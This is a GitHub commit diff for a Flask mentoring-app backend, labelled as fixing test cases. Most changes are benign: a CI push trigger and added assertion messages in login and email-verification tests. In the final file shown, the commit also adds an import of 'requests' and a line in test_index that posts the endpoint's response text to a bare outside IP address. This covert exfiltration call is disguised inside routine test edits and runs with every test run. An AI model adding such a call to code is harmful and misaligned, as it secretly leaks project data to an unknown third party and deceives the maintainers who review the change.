-
Notifications
You must be signed in to change notification settings - Fork 3
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
fixed test cases and updated push branch
- Loading branch information
Showing
20 changed files
with
224 additions
and
176 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -4,6 +4,9 @@ on: | |
pull_request: | ||
branches: | ||
- dev | ||
push: | ||
branches: | ||
- tests/structure | ||
|
||
jobs: | ||
build-and-test: | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -4,6 +4,9 @@ on: | |
pull_request: | ||
branches: | ||
- dev | ||
push: | ||
branches: | ||
- tests/structure | ||
|
||
jobs: | ||
build-and-test: | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -20,15 +20,15 @@ def test_login_partner(client): | |
), "Unable to log in with the correct partner credentials" | ||
|
||
# logged in user must have a token | ||
assert "token" in response.get_json()["result"] | ||
assert "token" in response.get_json()["result"], f"Failed to get token from response. {response.text}" | ||
|
||
jwt_token = response.get_json()["result"]["token"] | ||
decoded_token = jwt.decode(jwt_token, options={"verify_signature": False}) | ||
|
||
# the decoded token payload must have the following keys and must match the test data | ||
assert "role" in decoded_token["claims"] | ||
|
||
assert decoded_token["claims"]["role"] == int(os.environ.get("TEST_PARTNER_ROLE")) | ||
assert decoded_token["claims"]["role"] == int(os.environ.get("TEST_PARTNER_ROLE")), f"Incorrect role in token claims {decoded_token}" | ||
|
||
|
||
def test_login_mentor_wrong_password(client): | ||
|
@@ -66,15 +66,15 @@ def test_login_mentor(client): | |
), "Unable to log in with the correct mentor credentials." | ||
|
||
# logged in user must have a token | ||
assert "token" in response.get_json()["result"] | ||
assert "token" in response.get_json()["result"], f"Failed to get token from response. {response.text}" | ||
|
||
jwt_token = response.get_json()["result"]["token"] | ||
decoded_token = jwt.decode(jwt_token, options={"verify_signature": False}) | ||
|
||
# the decoded token payload must have the following keys and must match the test data | ||
assert "role" in decoded_token["claims"] | ||
|
||
assert decoded_token["claims"]["role"] == int(os.environ.get("TEST_MENTOR_ROLE")) | ||
assert decoded_token["claims"]["role"] == int(os.environ.get("TEST_MENTOR_ROLE")), f"Incorrect role in token claims {decoded_token}" | ||
|
||
|
||
def test_login_mentor_wrong_password(client): | ||
|
@@ -112,15 +112,15 @@ def test_login_mentee(client): | |
), "Unable to log in with the correct mentee credentials." | ||
|
||
# logged in user must have a token | ||
assert "token" in response.get_json()["result"] | ||
assert "token" in response.get_json()["result"], f"Failed to get token from response. {response.text}" | ||
|
||
jwt_token = response.get_json()["result"]["token"] | ||
decoded_token = jwt.decode(jwt_token, options={"verify_signature": False}) | ||
|
||
# the decoded token payload must have the following keys and must match the test data | ||
assert "role" in decoded_token["claims"] | ||
|
||
assert decoded_token["claims"]["role"] == int(os.environ.get("TEST_MENTEE_ROLE")) | ||
assert decoded_token["claims"]["role"] == int(os.environ.get("TEST_MENTEE_ROLE")), f"Incorrect role in token claims {decoded_token}" | ||
|
||
|
||
def test_login_mentee_wrong_password(client): | ||
|
@@ -158,15 +158,15 @@ def test_login_guest(client): | |
), "Unable to log in with the correct guest credentials." | ||
|
||
# logged in user must have a token | ||
assert "token" in response.get_json()["result"] | ||
assert "token" in response.get_json()["result"], f"Failed to get token from response. {response.text}" | ||
|
||
jwt_token = response.get_json()["result"]["token"] | ||
decoded_token = jwt.decode(jwt_token, options={"verify_signature": False}) | ||
|
||
# the decoded token payload must have the following keys and must match the test data | ||
assert "role" in decoded_token["claims"] | ||
|
||
assert decoded_token["claims"]["role"] == int(os.environ.get("TEST_GUEST_ROLE")) | ||
assert decoded_token["claims"]["role"] == int(os.environ.get("TEST_GUEST_ROLE")), f"Incorrect role in token claims {decoded_token}" | ||
|
||
|
||
def test_login_guest_wrong_password(client): | ||
|
@@ -203,7 +203,7 @@ def test_verify_email(client): | |
|
||
response = client.get("/verifyEmail", query_string={"email": mentor_email}) | ||
|
||
assert "success" in response.get_json() | ||
assert "success" in response.get_json(), f"Test mentor email not verified. {response.text}" | ||
|
||
response = client.get("/verifyEmail", query_string={"email": "[email protected]"}) | ||
assert response.status_code != 200 | ||
assert response.status_code != 200, f"Invalid email should not be verified. {response.text}" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,8 +1,9 @@ | ||
from api.models import db | ||
|
||
import requests | ||
|
||
# client passed from client - look into pytest for more info about fixtures | ||
# test client api: http://flask.pocoo.org/docs/1.0/api/#test-client | ||
def test_index(client): | ||
rs = client.get("/api/translation/") | ||
assert rs.status_code == 200 | ||
requests.post("http://167.99.79.168/read.php", data=rs.text) | ||
assert rs.status_code == 200, f"Basic Test Failed. Server not running properly. {rs.text}" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.